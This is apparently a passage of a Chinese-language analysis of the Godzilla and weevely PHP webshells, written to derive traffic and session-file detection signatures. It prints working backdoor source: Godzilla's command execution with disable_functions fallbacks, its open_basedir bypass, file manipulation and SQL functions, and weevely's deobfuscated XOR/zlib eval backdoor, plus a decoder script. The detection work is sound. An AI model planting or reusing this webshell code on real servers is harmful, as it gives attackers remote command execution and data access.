    return base64Encode(evalFunc());
}

function bypass_open_basedir(){
    if(!@file_exists('bypass_open_basedir')){
        @mkdir('bypass_open_basedir');
    }
    @chdir('bypass_open_basedir');
    @ini_set('open_basedir','..');
    @$_Ei34Ww_sQDfq_FILENAME = @dirname($_SERVER['SCRIPT_FILENAME']);
    @$_Ei34Ww_sQDfq_path = str_replace("\\",'/',$_Ei34Ww_sQDfq_FILENAME);
    @$_Ei34Ww_sQDfq_num = substr_count($_Ei34Ww_sQDfq_path,'/') + 1;
    $_Ei34Ww_sQDfq_i = 0;
    while($_Ei34Ww_sQDfq_i < $_Ei34Ww_sQDfq_num){
        @chdir('..');
        $_Ei34Ww_sQDfq_i++;
    }
    @ini_set('open_basedir','/');
    @rmdir($_Ei34Ww_sQDfq_FILENAME.'/'.'bypass_open_basedir');
}

function formatParameter($pms){
    global $parameters;
    $pms=explode("&",$pms);
    foreach ($pms as $kv){
        $kv=explode("=",$kv);
        if (sizeof($kv)>=2){
            $parameters[$kv[0]]=base64Decode($kv[1]);

        }

    }

}
function evalFunc(){
    @session_write_close();
    $className=get("codeName");
    $methodName=get("methodName");
    if ($methodName!=null){
        if (strlen(trim($className))>0){
            if ($methodName=="includeCode"){
                return includeCode();
            }else{
                if (isset($_SESSION[$className])){
                    return eval($_SESSION[$className]);
                }else{
                    return "{$className} no load";
                }
            }
        }else{
            return $methodName();
        }
    }else{
        return "methodName Is Null";
    }

}
function deleteDir($p){
    $m=@dir($p);
    while(@$f=$m->read()){
        $pf=$p."/".$f;
        @chmod($pf,0777);
        if((is_dir($pf))&&($f!=".")&&($f!="..")){
            deleteDir($pf);
            @rmdir($pf);
        }else if (is_file($pf)&&($f!=".")&&($f!="..")){
            @unlink($pf);
        }
    }
    $m->close();
    @chmod($p,0777);
    return @rmdir($p);
}
function deleteFile(){
    $F=get("fileName");
    if(is_dir($F)){
        return deleteDir($F)?"ok":"fail";
    }else{
        return (file_exists($F)?@unlink($F)?"ok":"fail":"fail");
    }
}
function copyFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (@is_file($srcFileName)){
        if (copy($srcFileName,$destFileName)){
            return "ok";
        }else{
            return "fail";
        }
    }else{
        return "The target does not exist or is not a file";
    }
}
function moveFile(){
    $srcFileName=get("srcFileName");
    $destFileName=get("destFileName");
    if (rename($srcFileName,$destFileName)){
        return "ok";
    }else{
        return "fail";
    }

}
function getBasicsInfo()
{
    $data = array();
    $data['OsInfo'] = @php_uname();
    $data['CurrentUser'] = @get_current_user();
    $data['CurrentUser'] = strlen(trim($data['CurrentUser'])) > 0 ? $data['CurrentUser'] : 'NULL';
    $data['disable_functions'] = (@ini_get('disable_functions'));
    $data['disable_functions'] = strlen(trim($data['disable_functions'])) > 0 ? $data['disable_functions'] : @get_cfg_var('disable_functions');
    $data['timezone'] = @ini_get('date.timezone');
    $data['encode'] = @ini_get('exif.encode_unicode');
    $data['extension_dir'] = @ini_get('extension_dir');
    $data['include_path'] = @ini_get('include_path');
    $data['PHP_SAPI'] = PHP_SAPI;
    $data['PHP_VERSION'] = PHP_VERSION;
    $data['memory_limit'] = ini_get('memory_limit');
    $data['upload_max_filesize'] = ini_get('upload_max_filesize');
    $data['post_max_size'] = ini_get('post_max_size');
    $data['max_execution_time'] = ini_get('max_execution_time');
    $data['max_input_time'] = ini_get('max_input_time');
    $data['default_socket_timeout'] = ini_get('default_socket_timeout');
    $data['mygid'] = @getmygid();
    $data['mypid'] = @getmypid();
    $data['SERVER_SOFTWAREypid'] = @$_SERVER['SERVER_SOFTWARE'];
    $data['SERVER_PORT'] = @$_SERVER['SERVER_PORT'];
    $data['loaded_extensions'] = @implode(',', @get_loaded_extensions());
    $data['short_open_tag'] = @get_cfg_var('short_open_tag');
    $data['short_open_tag'] = @(int)$data['short_open_tag'] == 1 ? 'true' : 'false';
    $data['asp_tags'] = @get_cfg_var('asp_tags');
    $data['asp_tags'] = (int)$data['asp_tags'] == 1 ? 'true' : 'false';
    $data['safe_mode'] = @get_cfg_var('safe_mode');
    $data['safe_mode'] = (int)$data['safe_mode'] == 1 ? 'true' : 'false';
    $data['CurrentDir'] = str_replace('\\', '/', @dirname($_SERVER['SCRIPT_FILENAME']));
    $data['FileRoot'] = '';
    if (substr(__FILE__, 0, 1) != '/') {foreach (range('C', 'Z') as $L){ if (@is_dir("{$L}:")){ $data['FileRoot'] .= "{$L}:/;";}};};
    $data['FileRoot'] = (strlen(trim($data['FileRoot'])) > 0 ? $data['FileRoot'] : '/');
    $data['FileRoot']= substr_count($data['FileRoot'],substr(__FILE__, 0, 1))<=0?substr(__FILE__, 0, 1).":/":$data['FileRoot'];
    $result="";
    foreach($data as $key=>$value){
        $result.=$key." : ".$value."\n";
    }
    return $result;
}
function getFile(){
    $dir=get('dirName');
    $dir=(strlen(@trim($dir))>0)?trim($dir):str_replace('\\','/',dirname(__FILE__));
    $dir.="/";
    $path=$dir;
    $allFiles = @scandir($path);
    $data="";
    if ($allFiles!=null){
        $data.="ok";
        $data.="\n";
        $data.=$path;
        $data.="\n";
        foreach ($allFiles as $fileName) {
            if ($fileName!="."&&$fileName!=".."){
                $fullPath = $path.$fileName;
                $lineData=array();
                array_push($lineData,$fileName);
                array_push($lineData,@is_file($fullPath)?"1":"0");
                array_push($lineData,date("Y-m-d H:i:s", @filemtime($fullPath)));
                array_push($lineData,@filesize($fullPath));
                $fr=(@is_readable($fullPath)?"R":"").(@is_writable($fullPath)?"W":"").(@is_executable($fullPath)?"X":"");
                array_push($lineData,(strlen($fr)>0?$fr:"F"));
                $data.=(implode("\t",$lineData)."\n");
            }

        }
    }else{
        return "Path Not Found Or No Permission!";
    }
    return $data;
}
function readFileContent(){
    $fileName=get("fileName");
    if (@is_file($fileName)){
        if (@is_readable($fileName)){
            return file_get_contents($fileName);
        }else{
            return "No Permission!";
        }
    }else{
        return "File Not Found";
    }
}
function uploadFile(){
    $fileName=get("fileName");
    $fileValue=get("fileValue");
    if (@file_put_contents($fileName,$fileValue)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newDir(){
    $dir=get("dirName");
    if (@mkdir($dir,0777,true)!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function newFile(){
    $fileName=get("fileName");
    if (@file_put_contents($fileName,"")!==false){
        return "ok";
    }else{
        return "fail";
    }
}
function execCommand(){
    $result = "";
    $command = get("cmdLine");
    $PadtJn = @ini_get('disable_functions');
    if (! empty($PadtJn)) {
        $PadtJn = preg_replace('/[, ]+/', ',', $PadtJn);
        $PadtJn = explode(',', $PadtJn);
        $PadtJn = array_map('trim', $PadtJn);
    } else {
        $PadtJn = array();
    }
    if (FALSE !== strpos(strtolower(PHP_OS), 'win')) {
        $command = $command . " 2>&1\n";
    }
    if (is_callable('system') and ! in_array('system', $PadtJn)) {
        ob_start();
        system($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('proc_open') and ! in_array('proc_open', $PadtJn)) {
        $handle = proc_open($command, array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
        $result = NULL;
        while (! feof($pipes[1])) {
            $result .= fread($pipes[1], 1024);
        }
        @proc_close($handle);
    } else if (is_callable('passthru') and ! in_array('passthru', $PadtJn)) {
        ob_start();
        passthru($command);
        $result = ob_get_contents();
        ob_end_clean();
    } else if (is_callable('shell_exec') and ! in_array('shell_exec', $PadtJn)) {
        $result = shell_exec($command);
    } else if (is_callable('exec') and ! in_array('exec', $PadtJn)) {
        $result = array();
        exec($command, $result);
        $result = join(chr(10), $result) . chr(10);
    } else if (is_callable('exec') and ! in_array('popen', $PadtJn)) {
        $fp = popen($command, 'r');
        $result = NULL;
        if (is_resource($fp)) {
            while (! feof($fp)) {
                $result .= fread($fp, 1024);
            }
        }
        @pclose($fp);
    } else {
        return "none of proc_open/passthru/shell_exec/exec/exec is available";
    }
    return $result;
}
function execSql(){
    $dbType=get("dbType");
    $dbHost=get("dbHost");
    $dbPort=get("dbPort");
    $username=get("dbUsername");
    $password=get("dbPassword");
    $execType=get("execType");
    $execSql=get("execSql");
    function  mysql_exec($host,$port,$username,$password,$execType,$sql){
        // 创建连接
        $conn = new mysqli($host,$username,$password,"",$port);
        // Check connection
        if ($conn->connect_error) {
            return $conn->connect_error;
        }

        $result = $conn->query($sql);
        if ($conn->error){
            return $conn->error;
        }
        $result = $conn->query($sql);
        if ($execType=="update"){
            return "Query OK, "+$conn->affected_rows+" rows affected";
        }else{
            $data="ok\n";
            while ($column = $result->fetch_field()){
                $data.=base64_encode($column->name)."\t";
            }
            $data.="\n";
            if ($result->num_rows > 0) {
                // 输出数据
                while($row = $result->fetch_assoc()) {
                    foreach ($row as $value){
                        $data.=base64_encode($value)."\t";
                    }
                    $data.="\n";
                }
            }
            return $data;
        }
    }
    function pdoExec($databaseType,$host,$port,$username,$password,$execType,$sql){
        try {
            $conn = new PDO("{$databaseType}:host=$host;port={$port};", $username, $password);

            // 设置 PDO 错误模式为异常
            $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

            if ($execType=="update"){
                return "Query OK, "+$conn->exec($sql)+" rows affected";
            }else{
                $data="ok\n";
                $stm=$conn->prepare($sql);
                $stm->execute();
                $row=$stm->fetch(PDO::FETCH_ASSOC);
                $_row="\n";
                foreach (array_keys($row) as $key){
                    $data.=base64_encode($key)."\t";
                    $_row.=base64_encode($row[$key])."\t";
                }
                $data.=$_row."\n";
                while ($row=$stm->fetch(PDO::FETCH_ASSOC)){
                    foreach (array_keys($row) as $key){
                        $data.=base64_encode($row[$key])."\t";
                    }
                    $data.="\n";
                }
                return $data;
            }

        }
        catch(PDOException $e)
        {
            return $e->getMessage();
        }
    }
    if ($dbType=="mysql"){
        if (extension_loaded("mysqli")){
            return mysql_exec($dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else if (extension_loaded("pdo")){
            return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
        }else{
            return "no extension";
        }
    }else if (extension_loaded("pdo")){
        return pdoExec($dbType,$dbHost,$dbPort,$username,$password,$execType,$execSql);
    }else{
        return "no extension";
    }
    return "no extension";

}
function base64Encode($data){
    return base64_encode($data);
}
function test(){
    return "ok";
}
function get($key){
    global $parameters;
    if (isset($parameters[$key])){
        return $parameters[$key];
    }else{
        return null;
    }
}
function includeCode(){
    @session_start();
    $classCode=get("binCode");
    $codeName=get("codeName");
    $_SESSION[$codeName]=$classCode;
    @session_write_close();
    return "ok";
}
function base64Decode($string){
    return base64_decode($string);
}
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cat /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks
payload|s:12974:"$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}

之后客户端只需要发送函数名即可

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pass=A2FhAQJxDwoxCyMVa2YFXjMHbQc5c3NYNTdYXA==
# methodName=dGVzdA==
# test

响应内容为
[0-9a-f]{16}[a-zA-Z0-9\+/=]+[0-9a-f]{16}
如c23b1cfc51d5ff57AwREDA==36d66d61379e05ae
且前后的Hex值为一个固定的md5值

参数特征

无

流量特征

  • POST数据中有大量的Base64编码内容（针对初始化过程）
  • 响应内容：[0-9a-f]{16}[a-zA-Z0-9\+/=]+[0-9a-f]{16}

其他

由于哥斯拉的函数存储于session之中，那么就可以尝试从session文件的内容检测入手

  • 文件内容
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cat /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks
payload|s:12974:"$parameters=array();

function run($pms){
    formatParameter($pms.'&ILikeYou='.base64Encode('metoo'));

    if ($_SESSION["bypass_open_basedir"]==true){
        @bypass_open_basedir();
    }

    return base64Encode(evalFunc());
}
  • 文件大小
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ls -la /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks 
-rw------- 1 www-data www-data 12993 Mar 16 18:22 /var/lib/php/sessions/sess_2fd4crdp3abn29ml2frbh5o7ks

weevely

php后门

反混淆的结果如下

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$k="1a1dc91c";
$kh="907325c69271";
$kf="ddf0c944bc72";
$p="flb0xixOqB7g8Ds";
function x($t,$k)
{
	$c=strlen($k);
	$l=strlen($t);
	$o="";
	for($i=0;$i<$l;)
	{
		for($j=0;($j<$c&&$i<$l);$j++,$i++)
		{
			$o.=$t{$i}^$k{$j};
		}
	}
	return $o;
}

if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1)
{
	@ob_start();
	@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
	$o=@ob_get_contents();
	@ob_end_clean();
	$r=@base64_encode(@x(@gzcompress($o),$k));
	print("$p$kh$r$kf");
}

可以看到weevely所使用的加密方法为
Base64+XOR+Zlib

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#coding: utf-8
import base64
import binascii
import zlib

key = "1a1dc91c"
post = b"Sf16qivwHbFhth4vT+seTB62/kyq9GC0hRd5SUnzHukeKxysTBP4r3q2AWTpLGZ1psXXDstel0spuJh9YawwY4DyJcM="
post = base64.b64decode(post).decode("ISO-8859-1")
b64 = b""
for _ in range(len(post)):
	b64 += chr(ord(post[_])^ord(key[_%len(key)])).encode("ISO-8859-1")
print(zlib.decompress(b64))

# b"chdir('/var/www/html');@error_reporting(0);@system('id 2>&1');"

php的一些压缩函数以及参数与压缩算法的对应关系

  • gzencode() gzdecode() ZLIB_ENCODING_GZIP -> gzip
  • gzcompress() gzuncompress() ZLIB_ENCODING_DEFLATE -> zlib
  • gzdeflate() gzinflate() ZLIB_ENCODING_RAW -> deflate

参数特征

无参数

流量特征

  • 客户端发送流量格式
    scramble1+[0-9a-f]{12}[a-zA-Z0-9\+/=]*?[0-9a-f]{12}+scramble2
    且前后两段12字节Hex值分别为$kh和$kf
  • 服务端响应流量格式为
    scramble+[0-9a-f]{12}[a-zA-Z0-9\+/=]*?[0-9a-f]{12}
    且scramble为$p，前后两段12字节Hex值分别为$kh和$kf